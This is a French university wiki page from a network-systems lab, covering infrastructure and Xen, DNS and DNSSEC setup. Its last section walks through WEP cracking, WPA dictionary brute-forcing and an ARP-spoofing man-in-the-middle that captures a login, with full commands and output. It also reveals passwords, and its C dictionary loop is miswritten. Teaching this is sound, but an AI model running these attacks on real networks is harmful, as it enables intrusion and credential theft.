== Répartition des binômes ==

{| class="wikitable"
! Cahier !! Elèves
|-
| [[ TP sysres IMA2a5 2020/2021 G1 | Cahier groupe n°1]]
| SAWICZ Lionel
|-
| [[ TP sysres IMA2a5 2020/2021 G2 | Cahier groupe n°2]]
| HERBOMEL Guillaume
|-
| [[ TP sysres IMA2a5 2020/2021 G3 | Cahier groupe n°3]]
| CRAMETTE Samuel
|-
| [[ TP sysres IMA2a5 2020/2021 G4 | Cahier groupe n°4]]
| AVEZ Thibaut
|-
| [[ TP sysres IMA2a5 2020/2021 G5 | Cahier groupe n°5]]
| GLAINE Alexandre
|-
| [[ TP sysres IMA2a5 2020/2021 G6 | Cahier groupe n°6]]
| VITTECOQ Thomas
|-
| [[ TP sysres IMA2a5 2020/2021 G7 | Cahier groupe n°7]]
| CHENU Léna
|-
| [[ TP sysres IMA2a5 2020/2021 G8 | Cahier groupe n°8]]
| COULON Nathan
|-
| [[ TP sysres IMA2a5 2020/2021 G9 | Cahier groupe n°9]]
| DJAMBA Crispin
|}

== Description des connexions ==
Pour ce TP nous avons à notre disposition :

{| class="wikitable"
!Désignation !! Référence !! Autre !! Connexion
|-
|Routeur
|6509
|Equipé de deux Hyperviseurs SUP720 avec x02 interfaces Giga et x02 TenGiga
|Connecté au réseau de Polytech pour accéder à internet via RENATER
|-
|Commutateur Cisco
|3560 E
|Equipement utilisé comme simple commutateur même s'il peut faire office de routeur
|Connecté au réseau de Polytech via la prise SR52-3/K16
|-
|Commutateur Cisco
|ISR 4331
|Utilisé comme portail dérobé en cas de défaillance du 3560E
|Connecté au SDSL connecter via la prise SR52-3/L04,
|-
|Serveur de virtualisation
|R540
|Abrite les machines virtuelles
|Relié au 6509 par liaison fibre LC/LC et au 3560-E par câble Ethernet
|}

NB: Nous avions eu à utiliser des modules SFP Giga et TenGiga Cisco de type LC ou SC.
Pour répondre à l’objectif du TP : la redondance matérielle, nous avions entamé le raccordement des équipements. Cependant, cela a entraîné une utilisation abusive des ressources que nous disposions : 6 liaisons fibres pour nos connexions alors que 3 nous étaient allouées, une partie est réservée aux IMA5SC.

== Architecture matérielle ==

Dans un premier temps, nous nous sommes occupé de l'aspect Hardware du projet. Le but étant de connecter les différents éléments mis à disposition (Routeur 6509, Serveur de virtualisation R540 et commutateur 3560-E & ISR 4331) entre eux. Pour cela, nous nous sommes servis de la fibre mise à dispostion. En effet, le routeur 6509, composé des deux cartes de supervision doit être connectée au R540, au 3560-E ainsi qu'à l'ISR 4331 via une liaison fibre. Initialement, nous comptions connecter chaque carte de supervision aux autres éléments grâce à la fibre mis à disposition. Cela aurait donné le schéma ci-dessous :

=== Architecture matérielle Optimale ===

[[Fichier:Architecture-MA2a5-2020_2021.JPG]]

=== Architecture matérielle Réelle ===

Ainsi, grâce à cette configuration, il y aurait eu de la redondance entre les cartes de supervision et les autres éléments. De ce fait, si une des cartes de supervision était défectueuse, la seconde pourrait toujours communiquer avec le reste du système. Cependant, afin de se partager le matériel avec la seconde classe, nous ne pouvions utiliser que la moitié de la fibre mise à disposition. De ce fait, nous avons abouti à la configuration suivante :

[[Fichier:Architecture2-MA2a5-2020_2021.JPG]]

=== Architecture Réseau ===

[[Fichier:Architecture-Reseau-MA2a5-2020_2021.JPG]]

== Table d'adressage IP ==

=== Table du vlan1 ===

{| class="wikitable"
!Nom de l'appareil !! IP
|-
|6509
|10.60.0.1
|-
|3560 E
|10.60.0.2
|-
|Mask
|255.255.255.0
|}

=== Table du vlan2 ===

{| class="wikitable"
!Nom de l'appareil !! IP !! nom VM
|-
|6509
|193.48.57.161
|X
|-
|3560 E
|193.48.57.162
|X
|-
|routeur virtuel
|193.48.57.163
|X
|-
|Lionel
|193.48.57.164
|Rafale
|-
|Guillaume
|193.48.57.165
|Concorde
|-
|Samuel
|193.48.57.166
|Blackbird
|-
|Thibaut
|193.48.57.167
|Falcon
|-
|Alexandre
|193.48.57.168
|Mirage
|-
|Thomas
|193.48.57.169
|Alpha_jet
|-
|Crispin
|193.48.57.170
|NightHawk
|-
|Léna
|193.48.57.171
|hawker
|-
|Nathan
|193.48.57.172
|Boeing
|-
|ISR
|193.48.57.173/28
|X
|-
|Mask
|255.255.255.240
|X
|-
|}

=== Table du vlan130 ===
{| class="wikitable"
!Nom de l'appareil !! IP
|-
|6509
|192.168.222.2
|-
|3560 E
|192.168.222.1
|-
|Mask
|255.255.255.248
|}

=== Table des vlan ===

{| class="wikitable"
!Nom !! Vlan
|-
|Lionel
|Vlan3
|-
|Guillaume
|Vlan4
|-
|Samuel
|Vlan5
|-
|Thibaut
|Vlan6
|-
|Alexandre
|Vlan7
|-
|Thomas
|Vlan8
|-
|Crispin
|Vlan9
|-
|Léna
|Vlan10
|-
|Nathan
|Vlan11
|-
|}

=== Table générale ===

{| class="wikitable"
! Groupe !! Nom !! Vlan !! Réseau IPV4 !! Réseau IPV6 !! IP Routeur 1 !! IP Routeur 2 !! IP Routeur Virtuel
|-
|x
|Administration
|Vlan1
|10.60.0.0/24
|
|10.60.0.1
|10.60.0.2
|
|-
|x
|Xen
|Vlan2
|193.48.57.160/28
|2001:660:4401:60a2::0/64
|193.48.57.161
|193.48.57.162
|193.48.57.163
|-
|Groupe 1
|Lionel
|Vlan3
|X
|X
|X
|X
|X
|-
|Groupe 2
|Guillaume
|Vlan4
|X
|X
|X
|X
|X
|-
|Groupe 3
|Samuel
|Vlan5
|X
|X
|X
|X
|X
|-
|Groupe 4
|Thibaut
|Vlan6
|X
|X
|X
|X
|X
|-
|Groupe 5
|Alexandre
|Vlan7
|193.48.57.168/24
|X
|X
|X
|X
|-
|Groupe 6
|Thomas
|Vlan8
|X
|X
|X
|X
|X
|-
|Groupe 7
|Léna
|Vlan10
|10.60.7.0/24
|2001:660:4401:60aa::0/64
|10.60.7.1
|10.60.7.2
|10.60.7.3
|-
|Groupe 8
|Nathan
|Vlan11
|X
|2001:660:4401:60a2::4/64
|X
|X
|X
|-
|Groupe 9
|Crispin
|Vlan12
|10.60.9.0/24
|2001:660:4401:60a4::0/64
|10.60.9.1
|10.60.9.2
|10.60.9.3
|-
|x
|Interconnexion
|X
|X
|Router1 : X // Router2 : X // Ecole : X
|X
|X
|
|-
|}

=== IP des VMs ===

{| class="wikitable"
!Nom de la VM !! IP de la VM
|-
|mirage
|193.48.57.168/24
|-
|X
|X
|-
|X
|X
|-
|X
|X
|-
|X
|X
|-
|X
|X
|-
|X
|X
|-
|X
|X
|-
|X
|X
|-
|X
|X
|-
|}

=== Cartes de supervision ===

Problématique: Configuration et installation des OS des cartes de supervision

Etape 1: Vérifier l'existence d'OS sur les deux cartes.

Pour cela, nous avons utilisé le port console grâce à une liaison série sur un PC. Ainsi, nous avons utilisé l'interface minicom pour nous connecter aux cartes.
-> 1ere carte: OS présent. Réaction suite à la commande boot et différents OS trouvés (3)
-> 2ème carte: OS absent

Etape 2: Copie du fichier d'OS

[[Fichier:TP sysres IMA2a5 2020/2021 - Carte Supervision 1.jpg]]

Grâce à l'emplacement en façade pour les cartes flash, nous avons pu copier le fichier d'OS de la première carte de supervision vers l'autre. Puis, il nous a suffit de replacer la carte flash dans la deuxième carte de supervision.

copy sup-bootdisk:/sys/s72033/base/s72033-ipservicesk9_wan-mz.&éé-33.SXI6.bin disk0:

Etape 3: Reboot de la deuxième carte

Pour s'assurer du bon fonctionnement de la deuxième carte, nous l'avons redémarrer (boot) avec l'OS à l'intérieur.

boot
sh ver

Etape 4: Vérification de la redondance

La carte principale de supervision est active alors que la deuxième est en standby. La première carte bootée est la carte active

== Configuration machine Xen sur Capbreton ==

- Connexion de l'écran, clavier, souris sur le serveur
- Commande "lbslk" permettant de voir les partitions sur la machine
Il y a 2 disques de 500go qui forme un volume répartie de la façon suivante : 900Go pour Xen et 100Go pour le système.
Il y a 1 disque SDA avec 800go de libre.
Deux disques plus lent sont utilisé pour LVM.
- On souhaite déplacer les disques présent dans l'ancien serveur vers le serveur Capbreton cependant il faut s'assurer que les berceaux sont les même.
Dans notre cas les berceaux ne sont pas les mêmes nous n'avons pas pu les insérer

Concernant le brigde, nous avons vu dans /etc/network/interfaces "brigde_ports eth1 eth7". Nous devons connecter eth1 et eth7. Pour connaître où sont les interfaces sur le serveur nous avons utilisé la commande:
ethtool -p eth7
ethtool -p eth1

On a pu constater que eth7 correspond à la connexion en fibre optique et eth1 est la connexion cuivre

TP sysres IMA2a5 2020/2021 G7

2020-12-15T22:32:04Z

Lchenu : /* Sécurisation de site web par certificat */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

L'objectif est de sécuriser www.lulya.space.
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.

En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.

nano /etc/aliases
apt install strace
strace -f -o open newaliases
strace -f newaliases
newaliases /etc/aliases
J'envoie un nouveau mail mais à admin.
Grâce à mailx, on voit le mail, c'est mon certificat

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de clés.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

